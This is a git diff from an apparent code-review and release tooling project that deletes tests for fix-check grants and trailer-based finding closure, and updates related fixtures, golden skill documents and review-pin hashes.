- // RECEIPT_BLOCKER_OPEN because the round-2 row left the finding out; seam=gstack-ship-receipt write
- test('#4597: a trailer plus a later clean full round closes the voice finding', () => {
- const f = shipFixture({ 'src/x.ts': 'export const x = 1;\n' }, { 'src/x.ts': 'export const x = 2;\n' });
- fxs.push(f);
- const run = (bin: string, args: string[]) => f.run(path.join(BIN, bin), args, { GSTACK_APPROVALS_MIRROR: '0' });
- const g = { f, run, body: path.join(f.root, 'body.md'), since: new Date(Date.now() - 1000).toISOString(), fixRun: 'r1' } as Granted;
- fs.writeFileSync(g.body, 'Fixes a thing.\n');
- logRow(g, 'review', { pass: 1, ...CLEAN });
- logRow(g, 'adversarial-review', { status: 'issues_found', source: 'outside-voice', phase: 'adversarial', gate: 'informational', completed: true, findings: [blocker] });
- f.write({ 'src/x.ts': 'export const x = 3;\n' });
- f.git('add', '-A'); f.git('commit', '-qm', 'fix the outside voice blocker', '--trailer', 'Review-Finding: ' + ID + ' reader=outside-voice');
- const before = summaryThenWrite(g);
- expect(before.w.status).toBe(3);
- logRow(g, 'review', { pass: 2, ...CLEAN });
- const { loop, w } = summaryThenWrite(g);
- expect(loop.open).toEqual([{ id: ID, fingerprint: FP }]);
- expect(w.status, w.stderr).toBe(0);
- expect(w.stderr).toContain('TRAILER_CLEAR: ' + ID + ' (fixed by ' + headOf(f).slice(0, 12));
- expect(extractReceipt(fs.readFileSync(g.body, 'utf8')).receipt?.cleared_by_trailer).toEqual([{ id: ID, commit: headOf(f), review: headOf(f) }]);
- // Value: protects=a later round that left anything open never clears by trailer, even with its findings in a findings file;
- // fails_when=a round-2 row whose status says issues remain closes the trailer's finding; seam=clearByTrailer
- const rows = rowsOf(g), pass2 = rows.filter(r => r.skill === 'review').at(-1)!;
- const byTrailer = (r2: Record<string, unknown>) => clearByTrailer(f.work, { head: headOf(f), baseRef: 'origin/main', rows: [...rows.filter(r => r !== pass2), r2], open: loop.open });
- expect(byTrailer(pass2)).toHaveLength(1);
- expect(byTrailer({ ...pass2, status: 'issues_found', findings_open: 1, findings_file: '/tmp/f.jsonl', status_source: 'derived' })).toEqual([]);
- expect(byTrailer({ ...pass2, findings: [{ fingerprint: 'src/x.ts:9:style', severity: 'INFORMATIONAL', action: 'open' }] })).toEqual([]);
- // Value: protects=only a finished, converged full round that read the fix closes by trailer (#4664 trail read, flag 2);
- // fails_when=a completed round that made its own fixes (converged false, bound incomplete), or whose range starts at or after
- // the fix commit, closes the trailer's finding; seam=clearByTrailer
- expect(byTrailer({ ...pass2, converged: false, review_binding: { ...pass2.review_binding, state: 'incomplete' } })).toEqual([]);
- expect(byTrailer({ ...pass2, range_base: headOf(f) })).toEqual([]);
- // Value: protects=a pass 1, which logs range_base null, reads the whole PR and still closes a committed fix by trailer (#4696
- // ship-4696c, p1/outside-voice#4); fails_when=null reads as a range that leaves the fix out; seam=clearByTrailer
- expect(byTrailer({ ...pass2, range_base: null })).toHaveLength(1);
- });
- // Value: protects=a security-class fingerprint never closes by trailer, so no closure line puts its location in the public body
- // (#4664 trail read, flag 3); fails_when=a blocker with no ledger id closes by its raw path:line:security fingerprint;
- // why_new=the #4597 replay uses a ledger id; seam=clearByTrailer; no_claim=closure by ledger id, which carries no location
- test('a trailer naming a security fingerprint closes nothing, while the same trailer on a plain fingerprint closes', () => {
- const byFingerprint = (fp: string) => {
- const f = shipFixture({ 'src/x.ts': 'export const x = 1;\n' }, { 'src/x.ts': 'export const x = 2;\n' });
- fxs.push(f);
- const run = (bin: string, args: string[]) => f.run(path.join(BIN, bin), args, { GSTACK_APPROVALS_MIRROR: '0' });
- const g = { run } as Granted;
- logRow(g, 'review', { pass: 1, ...CLEAN });
- logRow(g, 'adversarial-review', { status: 'issues_found', source: 'outside-voice', phase: 'adversarial', gate: 'informational', completed: true, findings: [{ fingerprint: fp, severity: 'CRITICAL', action: 'open', blocking: true, raised_by: 'outside-voice' }] });
- f.write({ 'src/x.ts': 'export const x = 3;\n' });
- f.git('add', '-A'); f.git('commit', '-qm', 'fix the blocker', '--trailer', 'Review-Finding: ' + fp + ' reader=outside-voice');
- logRow(g, 'review', { pass: 2, ...CLEAN });
- return clearByTrailer(f.work, { head: headOf(f), baseRef: 'origin/main', rows: rowsOf(g as Granted), open: [fp] });
- };
- expect(byFingerprint('src/x.ts:1:style').map(t => t.id)).toEqual(['src/x.ts:1:style']);
- expect(byFingerprint('src/x.ts:1:security')).toEqual([]);
- expect(byFingerprint('src/x.ts::security')).toEqual([]);
- });
-});
-
-describe('a fix-check reader given only part of the fix closes nothing', () => {
- // Value: protects=the hunks a granted fix-check read cover the whole stop-to-fix diff; fails_when=hunks over one of two changed
- // files bind and close the grant, or a hand-built partial packet reaches the claimed reader (GST-3546, gskills#25: gstack
- // now builds the packet from git diff <claimed head> HEAD); seam=gstack-review-plan --fix-check-prompt, bindFixCheckRow
- test('a hand-built partial packet is replaced by git diff <stop> HEAD, and a row recording partial hunks still closes nothing', () => {
- const g = grantedRun({ sameRun: false, extra: { 'src/y.ts': 'export const y = 1;\n' }, hunkPaths: ['src/x.ts'] });
- const row = rowsOf(g).filter(r => r.skill === 'review-fix-check').at(-1)!;
- expect(row.hunks).toMatchObject(hunksDigest(g.f.git('diff', g.S, g.F).stdout));
- expect(bindFixCheckRow(g.f.work, row, grantsOf(g))).toMatchObject({ ok: true });
- const partial = { ...row, hunks: { ...row.hunks, ...hunksDigest(g.f.git('diff', g.S, g.F, '--', 'src/x.ts').stdout) } };
- expect(bindFixCheckRow(g.f.work, partial, grantsOf(g))).toMatchObject({ ok: false, why: expect.stringContaining('leave out src/y.ts') });
- });
-});
-
-describe('harness-evals#504: a fix-check grant answering a stop after a gate-class edit plans its fix-check on the plain route', () => {
- // Value: protects=a grant stays unspent until a fix-check carries it or starts after it, so it buys exactly one fix-check;
- // fails_when=a fix-check that ran before the grant spends it, or one that carries it leaves it unspent; seam=grantSpent
- test('a grant is spent by the fix-check that carries it or starts after it, never by an earlier one', () => {
- const g = { approval: 'a-2', at: '2026-11-21T01:00:00.000Z' };
- const read = (started_at: string) => ({ skill: 'review-fix-check', completed: true, converged: true, status: 'clean', review_binding: { state: 'verified', started_at } });
- expect(grantSpent([{ ...read('2026-11-21T01:01:00.000Z'), converged: false }], g)).toBe(false);
- expect(grantSpent([read('2026-11-21T00:59:00.000Z')], g)).toBe(false);
- expect(grantSpent([read('2026-11-21T01:01:00.000Z')], g)).toBe(true);
- expect(grantSpent([{ ...read('2026-11-21T00:00:00.000Z'), grant: 'a-2' }], g)).toBe(true);
- });
-
- // Value: protects=two recorded grants each buy one read: a counted fix-check a claim stamped with grant a-3 was a-3's read, so
- // it leaves a-2 unspent however late it ran; fails_when=claim refuses a-2 with GRANT_SPENT after a-3's read; seam=grantSpent
- test('a later read stamped with another grant leaves this grant unspent', () => {
- const g = { approval: 'a-2', at: '2026-11-21T01:00:00.000Z' };
- const read = { skill: 'review-fix-check', completed: true, converged: true, status: 'clean', review_binding: { state: 'verified', started_at: '2026-11-21T01:01:00.000Z' } };
- expect(grantSpent([{ ...read, grant: 'a-3' }], g)).toBe(false);
- expect(grantSpent([{ ...read, grant: 'a-3' }, read], g)).toBe(true);
- });
-
- // Value: protects=the same through the CLI: --round-grant and --stop after --last fix-check with a gate-class fix plan next=fix-check
- // with the fix-check reader only; fails_when=the plan prints next=stop; seam=gstack-review-plan
- test('gstack-review-plan plans the granted fix-check after a fix-check that edited a gate-class path', () => {
- const g = grantedRun({ sameRun: true });
- const s2 = g.F;
- expect(ok(g.run('gstack-ship-receipt', ['stop', '--body', g.body, '--pr', '7', '--run', 'ro', '--since', g.since]))).toContain('STOP_RECORD: run=ro head=' + s2);
- const g2 = /APPROVAL_RECORDED: (a-[0-9a-f]{12})/.exec(ok(g.run('gstack-approvals', ['round-grant', '--pr', '7', '--head', s2, '--kind', 'fix-check', '--stop-run', 'ro', '--findings', 'p2/fix-check#1', '--reason', 'gate edit', '--by', 'Captain GStack Minder (GSTA-36)', '--owner-ref', 'GSTA-36:2026-11-21T02:00:00Z', '--words', 'grant one fix-check'])))![1]!;
- g.f.write({ 'src/x.ts': 'export const x = 4;\n' }); g.f.commit('fix the fix-check finding');
- const plan = g.run('gstack-review-plan', ['--base', 'main', '--gate-tagged', '0', '--prior-rounds', '3', '--prior-full', '2', '--pr', '7', '--round-grant', g2, '--stop', s2, '--range-base', s2, '--last', 'fix-check', '--fix-checks', '1', '--touched-gate']);
- expect(plan.status, plan.stderr).toBe(0);
- expect(plan.stdout).toContain('next=fix-check');
- });
-});
-
-describe('the fix-check reader\'s packet is byte-identical with and without a claim (rule 15)', () => {
- // Value: protects=no reviewer packet changes: the stamp and the hunks record ride beside the prompt; fails_when=a claimed run's
- // prompt bytes differ from renderFixCheckPrompt's; seam=gstack-review-plan --fix-check-prompt
- test('--fix-check-prompt prints renderFixCheckPrompt\'s bytes, claimed or not, and records the hunks digest', () => {
- const f = shipFixture();
- fxs.push(f);
- const files = { fixList: 'fix p1/outside-voice#1\n', touchedHunks: 'diff --git a/src/b.ts b/src/b.ts\n+x\n', testResults: '3 pass\n', callers: '' };
- const args = Object.entries({ '--fix-list': files.fixList, '--hunks': files.touchedHunks, '--tests': files.testResults }).flatMap(([k, v]) => { const p = path.join(f.root, k.slice(2)); fs.writeFileSync(p, v); return [k, p]; });
- const prompt = () => f.run(path.join(BIN, 'gstack-review-plan'), ['--fix-check-prompt', ...args]).stdout;
- const plain = prompt();
- fs.writeFileSync(path.resolve(f.work, f.git('rev-parse', '--git-path', 'gstack-ship-run').stdout.trim()), JSON.stringify({ v: 1, run: 'fc1', state: 'open', head: 'a'.repeat(40), started_at: new Date().toISOString(), beat_at: new Date().toISOString(), claim: { grant: 'a-000000000001', stop_head: 'a'.repeat(40), findings: [], pr: 7 } }));
- expect(Buffer.from(prompt())).toEqual(Buffer.from(plain));
- expect(Buffer.from(plain)).toEqual(Buffer.from(renderFixCheckPrompt(files)));
- const rec = JSON.parse(fs.readFileSync(path.resolve(f.work, f.git('rev-parse', '--git-path', 'gstack-fix-check-hunks').stdout.trim()), 'utf8'));
- expect(rec).toMatchObject(hunksDigest(files.touchedHunks));
- });
-});
-
-describe('clearing refuses every gap GSTA-665\'s trail reads found in #4546 (lib/fix-check-clearing.ts)', () => {
- let g: Granted;
- let base: { pr: number; run: string; head: string; baseRef: string; body: string; grants: ReviewRoundGrant[]; rows: Record<string, any>[]; open: Array<string | { id: string; fingerprint: string }> };
- const fixRow = () => base.rows.filter(r => r.skill === 'review-fix-check').at(-1)!;
- const withRow = (row: Record<string, any>) => [...base.rows.filter(r => r.skill !== 'review-fix-check'), row];
- const clear = (o: Partial<typeof base> = {}) => clearByGrant(g.f.work, { ...base, ...o });
- beforeAll(() => {
- g = grantedRun({ sameRun: false });
- fxs.length = 0;
- base = { pr: 7, run: 'fc1', head: g.F, baseRef: 'origin/main', body: fs.readFileSync(g.body, 'utf8'), grants: grantsOf(g), rows: rowsOf(g), open: [{ id: ID, fingerprint: FP }] };
- });
- afterAll(() => g.f.cleanup());
-
- test('the baseline closes the granted id', () => {
- expect(clear()).toEqual({ ids: [ID], approval: g.grant, run: 'fc1' });
- });
- test('another PR\'s grant closes nothing', () => {
- expect(clear({ grants: base.grants.map(x => ({ ...x, pr: 8 })) })).toMatchObject({ ids: [], why: 'no fix-check grant for PR #7' });
- });
- test('with no stop record the grant closes nothing', () => {
- expect(clear({ body: base.body.split('\n').filter(l => !l.includes('"mark":"stop"')).join('\n') })).toMatchObject({ ids: [], why: expect.stringContaining('no stop record') });
- });
- test('another run\'s first claim closes nothing for this run', () => {
- const body = base.body.replace('"run":"fc1","mark":"grant"', '"run":"fc9","mark":"grant"');
- expect(receiptRuns(body).find(r => r.mark === 'grant')?.run).toBe('fc9');
- expect(clear({ body }).ids).toEqual([]);
- expect(clear({ run: 'fc9' }).ids).toEqual([]);
- });
- test('a spent grant (a second stamped row) closes nothing', () => {
- expect(clear({ rows: [...base.rows, { ...fixRow(), run: 'fc2', commit_full: g.S, findings: [{ fingerprint: 'x' }] }] })).toMatchObject({ ids: [], why: expect.stringContaining("holds run fc2's") });
- });
- test('a row with another fix_check_base, or an agent range_base that disagrees, closes nothing', () => {
- const fork = g.f.git('merge-base', 'origin/main', 'HEAD').stdout.trim();
- expect(clear({ rows: withRow({ ...fixRow(), fix_check_base: fork }) }).why).toContain('is not the stop');
- expect(clear({ rows: withRow({ ...fixRow(), range_base: fork }) }).why).toContain('disagrees with the logger');
- });
- test('two ledger ids sharing a fingerprint: the fingerprint closes neither, the ledger id closes only its own', () => {
- const open = [{ id: ID, fingerprint: FP }, { id: 'p1/red-team#2', fingerprint: FP }];
- expect(clear({ open, grants: base.grants.map(x => ({ ...x, findings: [FP] })) }).ids).toEqual([]);
- expect(clear({ open }).ids).toEqual([ID]);
- });
- test('an open critical in a findings file closes nothing', () => {
- expect(clear({ rows: withRow({ ...fixRow(), status: 'issues_found', findings_open: 1, findings_file: '/tmp/f.jsonl', status_source: 'derived' }) }).why).toContain('left a finding open');
- });
- test('an inline open finding at low severity closes nothing', () => {
- expect(clear({ rows: withRow({ ...fixRow(), findings: [{ fingerprint: 'src/x.ts:2:style', severity: 'INFORMATIONAL', action: 'open', blocking: false }] }) }).why).toContain('left a finding open');
- });
- test('a newer review on a dirty tree after the stop does not displace the stop head', () => {
- const dirty = { skill: 'review', via: 'ship', completed: true, converged: true, commit_full: g.F, tree: 'e'.repeat(40), wtree: 'd'.repeat(40), review_binding: { state: 'changed', start_wtree: 'd'.repeat(40), end_wtree: 'e'.repeat(40), started_at: new Date().toISOString() }, timestamp: new Date().toISOString(), findings: [] };
- expect(clear({ rows: [...base.rows, dirty] })).toEqual({ ids: [ID], approval: g.grant, run: 'fc1' });
- });
- test('a grant id that names nothing open closes nothing, and the rest still close', () => {
- const grants = base.grants.map(x => ({ ...x, findings: [ID, 'p9/nope#1'] }));
- expect(clear({ grants })).toMatchObject({ ids: [ID], why: expect.stringContaining('p9/nope#1') });
- expect(clear({ grants: base.grants.map(x => ({ ...x, findings: ['p9/nope#1'] })) }).ids).toEqual([]);
- });
- test('hunks that are not git diff <stop> <commit>, out-of-order records, or a gate finding close nothing', () => {
- expect(clear({ rows: withRow({ ...fixRow(), hunks: { ...fixRow().hunks, sha256: '0'.repeat(64) } }) }).why).toContain('hunks');
- const stop = receiptRuns(base.body).find(r => r.mark === 'stop')!;
- const late = placeRunEntry(base.body.replace(/\{"head":"[0-9a-f]{40}","run":"ro","mark":"stop"[^\n]*\n/, ''), stopMarker({ head: stop.head, tree: stop.tree!, run: 'ro', at: '2099-01-01T00:00:00.000Z' }));
- expect(clear({ body: late }).why).toContain('not recorded in that order');
- expect(clear({ rows: [...base.rows, { skill: 'review', via: 'ship', findings: [{ ledger_id: ID, gate: 'RH1', action: 'open' }] }] }).ids).toEqual([]);
- });
- // Value: protects=a grant naming a security-class fingerprint closes nothing by grant either, line or no line (#4664 trail read,
- // flag 3; #4696 ship-4696c p1/specialist-batched#1); fails_when=a raw security fingerprint the fix list names closes; seam=clearByGrant
- test('a grant naming a security fingerprint closes nothing, while the same grant on a plain fingerprint closes', () => {
- const named = (fp: string) => clear({ grants: base.grants.map(x => ({ ...x, findings: [fp] })), open: [fp], rows: withRow({ ...fixRow(), hunks: { ...fixRow().hunks, fix_list: [fp] } }) }).ids;
- expect(named('src/x.ts:1:style')).toEqual(['src/x.ts:1:style']);
- expect(named('src/x.ts:1:security')).toEqual([]);
- expect(named('src/x.ts::security')).toEqual([]);
- });
- // Value: protects=a fix-check row whose dispatch ledger can't be read closes nothing (#4664 trail read, flag 1); fails_when=a
- // missing ledger reads as empty, so the check that the row disposes every id the reader raised passes; seam=bindFixCheckRow
- test('a fix-check row naming a dispatch ledger that is missing closes nothing', () => {
- expect(clear({ rows: withRow({ ...fixRow(), hunks: { ...fixRow().hunks, ledger: path.join(g.f.root, 'gone', 'fc', 'ledger.jsonl') } }) })).toMatchObject({ ids: [], why: expect.stringContaining('unreadable') });
- });
- // Value: protects=a clean fix-check closes only the grant ids its fix list named; fails_when=a grant id the reader was never
- // asked about closes; seam=gstack-review-plan --fix-check-prompt, clearByGrant
- test('the fix list\'s names are recorded, and a grant id the fix list left out closes nothing', () => {
- expect(fixRow().hunks.fix_list).toEqual([ID]);
- expect(clear({ rows: withRow({ ...fixRow(), hunks: { ...fixRow().hunks, fix_list: [] } }) })).toMatchObject({ ids: [], why: expect.stringContaining('does not name ' + ID) });
- });
- test('no trailer, or a trailer with no later full round, closes nothing by trailer', () => {
- expect(clearByTrailer(g.f.work, { head: g.F, baseRef: 'origin/main', rows: base.rows, open: base.open })).toEqual([]);
- expect(grantMarker({ head: g.S, run: 'x', grant: 'a' }).at).toMatch(/^\d{4}-/);
- });
-});
diff --git a/test/fix-check-hunks-restamp.test.ts b/test/fix-check-hunks-restamp.test.ts
deleted file mode 100644
index 12bb7cfb0..000000000
--- a/test/fix-check-hunks-restamp.test.ts
+++ /dev/null
@@ -1,77 +0,0 @@
-/**
- * GST-3523 (GBRA-741, gbrain#10057 run ship4): the pass program renders a fix-check brief, which records its hunks, and only
- * then takes the review-fix-check start. readFixCheckHunks attaches records written at or after the start, so the clean granted
- * fix-check's row carried no hunks and finish did not count it. Recording the start token now re-dates that render's record
- * while its digest still matches the hunks the brief carried.
- */
-import { afterEach, expect, test } from 'bun:test';
-import { spawnSync } from 'node:child_process';
-import * as fs from 'node:fs';
-import * as os from 'node:os';
-import * as path from 'node:path';
-import { fixListNames, hunksDigest, readFixCheckHunks, recordFixCheckHunks } from '../lib/review-evidence';
-
-const BIN = path.resolve(import.meta.dir, '..', 'bin', 'gstack-review-dispatch');
-const HUNKS = 'diff --git a/src/x.ts b/src/x.ts\n--- a/src/x.ts\n+++ b/src/x.ts\n@@ -1 +1 @@\n-a\n+b\n';
-const dirs: string[] = [];
-afterEach(() => { while (dirs.length) fs.rmSync(dirs.pop()!, { recursive: true, force: true }); });
-
-function pass() {
- const root = fs.mkdtempSync(path.join(os.tmpdir(), 'fc-restamp-'));
- dirs.push(root);
- expect(spawnSync('git', ['init', '-q', root], { encoding: 'utf8', timeout: 30_000 }).status).toBe(0);
- const hunks = path.join(root, 'hunks.txt'), fixList = path.join(root, 'fixes.txt'), manifest = path.join(root, 'pass-manifest.json');
- fs.writeFileSync(hunks, HUNKS);
- fs.writeFileSync(fixList, 'fix p2/outside-voice#1\n');
- fs.writeFileSync(manifest, JSON.stringify({ version: 1, readers: [], ledger: path.join(root, 'merged.jsonl'), fix_check: { fix_list: fixList, hunks, tests: hunks } }));
- recordFixCheckHunks(root, HUNKS, path.join(root, 'merged.jsonl'), 'fix p2/outside-voice#1\n');
- const mark = (key: string, token: string) => spawnSync(BIN, ['mark', '--manifest', manifest, '--log-start', key, '--token', token], { cwd: root, encoding: 'utf8', timeout: 60_000 });
- return { root, hunks, mark };
-}
-const later = () => { const t = Date.now(); while (Date.now() <= t + 5) { /* the start follows the render */ } return new Date().toISOString(); };
-
-// Value: protects=a clean granted fix-check rendered before its start still carries its hunks; fails_when=recording the start leaves the render's record dated before it
-test('recording the review-fix-check start re-dates the record its render wrote', () => {
- const p = pass();
- const since = later();
- expect(readFixCheckHunks(p.root, since)).toBeUndefined();
- const r = p.mark('pass:review-fix-check', 't-1');
- expect(r.status, r.stderr).toBe(0);
- expect(r.stdout).toContain('FIX_CHECK_HUNKS: restamped');
- expect(readFixCheckHunks(p.root, since)).toMatchObject({ ...hunksDigest(HUNKS), fix_list: ['p2/outside-voice#1'] });
-});
-
-// Value: protects=the record still names only the hunks the reader got; fails_when=a hunks file edited after the render is restamped as read
-test('hunks edited after the render, a repeated start or another skill restamp nothing', () => {
- const edited = pass();
- fs.writeFileSync(edited.hunks, HUNKS + '+c\n');
- const since = later();
- expect(edited.mark('pass:review-fix-check', 't-1').stdout).toContain('FIX_CHECK_HUNKS: not restamped');
- expect(readFixCheckHunks(edited.root, since)).toBeUndefined();
-
- const other = pass();
- const s2 = later();
- expect(other.mark('pass:review', 't-1').stdout).not.toContain('FIX_CHECK_HUNKS');
- expect(readFixCheckHunks(other.root, s2)).toBeUndefined();
- expect(other.mark('pass:review-fix-check', 't-2').status).toBe(0);
- const s3 = later();
- expect(other.mark('pass:review-fix-check', 't-3').stdout).not.toContain('FIX_CHECK_HUNKS');
- expect(readFixCheckHunks(other.root, s3)).toBeUndefined();
-});
-
-// Value: protects=recording the start never fails over the hunks file; fails_when=a missing hunks file makes mark exit non-zero after
-// it saved the token, so a retry skips the restamp; seam=gstack-review-dispatch mark --log-start
-test('a missing hunks file still records the start and says why nothing was restamped', () => {
- const p = pass();
- fs.rmSync(p.hunks);
- const r = p.mark('pass:review-fix-check', 't-1');
- expect(r.status, r.stderr).toBe(0);
- expect(r.stdout).toContain('LOG_START: pass:review-fix-check token=t-1');
- expect(r.stdout).toContain('FIX_CHECK_HUNKS: not restamped (hunks file unreadable)');
-});
-
-// Value: protects=a grant whose findings are approval ids (ruled notes) keeps them in the recorded fix list (GST-3523, gbrain#10063,
-// grant a-b306fda9cc20); fails_when=fixListNames drops a-… ids, so the fix list is empty and clearByGrant closes nothing; seam=recordFixCheckHunks
-test('the fix list keeps approval ids beside ledger ids and fingerprints, and nothing else', () => {
- expect(fixListNames('fix a-b306fda9cc20, p2/outside-voice#1 and src/x.ts:3:testing (see a-short, the a-b306fda9cc20 note).')).toEqual(['a-b306fda9cc20', 'p2/outside-voice#1', 'src/x.ts:3:testing']);
-});
diff --git a/test/fixtures/golden/agy-ship-SKILL.md b/test/fixtures/golden/agy-ship-SKILL.md
index 28545b9ac..d02a28779 100644
--- a/test/fixtures/golden/agy-ship-SKILL.md
+++ b/test/fixtures/golden/agy-ship-SKILL.md
@@ -496,8 +496,7 @@ repeat Step 2 (decisions included) on the merged content, then Step 4.
## Step 11.5: Bind the reviews
1. **Select the two reviews.** Run `~/.gemini/antigravity-cli/skills/gstack/bin/gstack-review-read`.
- Select this invocation's final Step 9 record (`skill:"review"`, `via:"ship"`, or a
- last 3.5 `review-fix-check`) and Step 11 native record (`skill:"adversarial-review"`;
+ Select this invocation's final Step 9 record (`skill:"review"`, `via:"ship"`) and Step 11 native record (`skill:"adversarial-review"`;
none after `ADVERSARIAL: skipped`). Match each to its saved
handle, original token and source; reject outside-provider or older records.
2. **Compare their content.** All three snapshots must match: the native record's
diff --git a/test/fixtures/golden/claude-ship-SKILL.md b/test/fixtures/golden/claude-ship-SKILL.md
index 78cfb4321..5534912e0 100644
--- a/test/fixtures/golden/claude-ship-SKILL.md
+++ b/test/fixtures/golden/claude-ship-SKILL.md
@@ -501,8 +501,7 @@ repeat Step 2 (decisions included) on the merged content, then Step 4.
## Step 11.5: Bind the reviews
1. **Select the two reviews.** Run `~/.claude/skills/gstack/bin/gstack-review-read`.
- Select this invocation's final Step 9 record (`skill:"review"`, `via:"ship"`, or a
- last 3.5 `review-fix-check`) and Step 11 native record (`skill:"adversarial-review"`;
+ Select this invocation's final Step 9 record (`skill:"review"`, `via:"ship"`) and Step 11 native record (`skill:"adversarial-review"`;
none after `ADVERSARIAL: skipped`). Match each to its saved
handle, original token and source; reject outside-provider or older records.
2. **Compare their content.** All three snapshots must match: the native record's
diff --git a/test/fixtures/golden/codex-ship-SKILL.md b/test/fixtures/golden/codex-ship-SKILL.md
index 7121daea6..241501ec7 100644
--- a/test/fixtures/golden/codex-ship-SKILL.md
+++ b/test/fixtures/golden/codex-ship-SKILL.md
@@ -495,8 +495,7 @@ repeat Step 2 (decisions included) on the merged content, then Step 4.
## Step 11.5: Bind the reviews
1. **Select the two reviews.** Run `$GSTACK_ROOT/bin/gstack-review-read`.
- Select this invocation's final Step 9 record (`skill:"review"`, `via:"ship"`, or a
- last 3.5 `review-fix-check`) and Step 11 native record (`skill:"adversarial-review"`;
+ Select this invocation's final Step 9 record (`skill:"review"`, `via:"ship"`) and Step 11 native record (`skill:"adversarial-review"`;
none after `ADVERSARIAL: skipped`). Match each to its saved
handle, original token and source; reject outside-provider or older records.
2. **Compare their content.** All three snapshots must match: the native record's
diff --git a/test/fixtures/golden/factory-ship-SKILL.md b/test/fixtures/golden/factory-ship-SKILL.md
index e8cc057c6..ad29fcc69 100644
--- a/test/fixtures/golden/factory-ship-SKILL.md
+++ b/test/fixtures/golden/factory-ship-SKILL.md
@@ -497,8 +497,7 @@ repeat Step 2 (decisions included) on the merged content, then Step 4.
## Step 11.5: Bind the reviews
1. **Select the two reviews.** Run `$GSTACK_ROOT/bin/gstack-review-read`.
- Select this invocation's final Step 9 record (`skill:"review"`, `via:"ship"`, or a
- last 3.5 `review-fix-check`) and Step 11 native record (`skill:"adversarial-review"`;
+ Select this invocation's final Step 9 record (`skill:"review"`, `via:"ship"`) and Step 11 native record (`skill:"adversarial-review"`;
none after `ADVERSARIAL: skipped`). Match each to its saved
handle, original token and source; reject outside-provider or older records.
2. **Compare their content.** All three snapshots must match: the native record's
diff --git a/test/fixtures/module-size-ratchet.json b/test/fixtures/module-size-ratchet.json
index d2c48157a..20ccba40a 100644
--- a/test/fixtures/module-size-ratchet.json
+++ b/test/fixtures/module-size-ratchet.json
@@ -134,7 +134,6 @@
{ "file": "lib/tree-receipt.ts", "movedFrom": "(new: tree equality modulo stamps and per-gate reuse, C3)" },
{ "file": "lib/ship-receipt.ts", "movedFrom": "(new: the ship receipt block, PR-body placement and adoption census, C5)" },
{ "file": "lib/ship-run-record.ts", "movedFrom": "(new: the /ship run record that replaces the bare run marker, its transition table and the gate lock, GST-3260)" },
- { "file": "lib/fix-check-clearing.ts", "movedFrom": "(new: when a granted fix-check counts and what it closes, shared by finish and receipt write, GST-3260)" },
{ "file": "lib/ship-receipt-docs.ts", "movedFrom": "(new: the receipt's docs record, the owner exception and the policy doc caps, kept out of lib/ship-receipt.ts; convergence lane PR 2)" },
{ "file": "lib/spend-ledger.ts", "movedFrom": "(new: the spend cap admission ledger reserve/settle/release and the file lock, B2)" },
{ "file": "lib/outside-voice-runner.ts", "movedFrom": "(new: the outside-voice adapter interface, model families and runner selection, B3)" },
diff --git a/test/fixtures/review-pins/files/lib/review-depth.ts.json b/test/fixtures/review-pins/files/lib/review-depth.ts.json
index 2139e7b1f..a465b5000 100644
--- a/test/fixtures/review-pins/files/lib/review-depth.ts.json
+++ b/test/fixtures/review-pins/files/lib/review-depth.ts.json
@@ -1 +1 @@
-{"sha":"b66e114dbc579e17f6092678cfd385716583654bb06c0f17f4646ad87432276d","replay":"GST-3562-part-3"}
+{"sha":"a296be05e50ac76c10be9199a1facfb844f1f2d8a406c5cd24a55e7a535e880d","replay":"GST-3562-part-4"}
diff --git a/test/fixtures/review-pins/files/ship/sections/review-army.md.json b/test/fixtures/review-pins/files/ship/sections/review-army.md.json
index 8de342948..a5c0b7da0 100644
--- a/test/fixtures/review-pins/files/ship/sections/review-army.md.json
+++ b/test/fixtures/review-pins/files/ship/sections/review-army.md.json
@@ -1 +1 @@
-{"sha":"1a1f137da127d88a64b9afad8561d2c08be0e9a94f51f950520c56101e8d5825","replay":"GSTA-853"}
+{"sha":"da1d5170a1a63732382837483b68d997aa15eabb249c3dcbef834c38b78e5736","replay":"GST-3562-part-4"}
diff --git a/test/fixtures/review-pins/replays/GST-3562-part-4.json b/test/fixtures/review-pins/replays/GST-3562-part-4.json
new file mode 100644
index 000000000..f190a2977
--- /dev/null
+++ b/test/fixtures/review-pins/replays/GST-3562-part-4.json
@@ -0,0 +1 @@
+{"replay":"GST-3562-part-4","justification":"GST-3562 part 4 (Captain GStack Minder's scope for the deletion PR, 2026-11-25, under CREW rule 15 as scoped by approval a-6ec01c09edf8): fix-checks and their grants are deleted. Deterministic no-loss replay, no paid run. lib/review-depth.ts: nextStep drops every grant branch (granted, fixChecks, chained, roundGrant, grantedStop) and the lean and full loops' last=fix-check branches; the PR round cap at FULL_PASS_CAP no longer buys a round for a grant, so a PR past two full rounds whose code changed gets one read-only full review (main's plan when no grant was passed). Those History fields and last=fix-check stay in the type as replay-only inputs that main's frozen table at 0408128 reads; gstack-review-plan refuses the flags that set them (--grant, --round-grant, --stop, --fix-checks, --last fix-check), so no run reaches those states. planReview's scoped and fix-check dispatch stays for the frozen replays. The no-loss replays (test/helpers/gst3562-replay.ts) gain kind h: a history main accepted and the branch can no longer be given, read back as main's plan. Every non-retired case keeps its earlier kind and checks: GST-967's 1,440-case grid still hashes to MAIN_PLANS with a 20, d 10, e 60 and h 480 (all 480 are last=fix-check inputs); GST-972 and GST-1350 grids add only h (384 and 1,056 per grid); the GST-3562 A lean grid across panels, prior rounds, round grants, bot review and targeted classes keeps kinds a to f on every grant-free state and reads the grant and fix-check states as h. No case outside kind h changes, no reader is dropped, and no plan dispatches a fix-check. ship/sections/review-army.md: workflow prose only. The round-grant claim sentence, the 'fix-check (3.5) comes only from an older grant' line and decision 3.5 go, because gstack-ship-receipt claim and the fix-check are gone; every reviewer brief cut from the section renders byte-identical to its pinned body (brief-bodies pins unchanged, MAIN_SECTIONS unchanged)."}
diff --git a/test/gstack-clean-producers.test.ts b/test/gstack-clean-producers.test.ts
index 24dff9c35..1d13fd5bd 100644
--- a/test/gstack-clean-producers.test.ts
+++ b/test/gstack-clean-producers.test.ts
@@ -41,7 +41,6 @@ const KEPT: Record<string, string> = {
'tree-receipt.json': 'gstack-tree-receipt output',
'base-red.json': '/ship base-red record',
'review-*': '/ship review loop records',
- 'fix-check-*': '/ship fix-check inputs',
'tasks-*': 'gstack-tasks rows files (bin/gstack-tasks)',
'qa-reports': 'caller QA report runs from gstack-qa-evidence report-dir (lib/qa-evidence.ts)',
'autoplan': 'autoplan phase artifacts (autoplan/SKILL.md.tmpl)',
diff --git a/test/gstack-post.test.ts b/test/gstack-post.test.ts
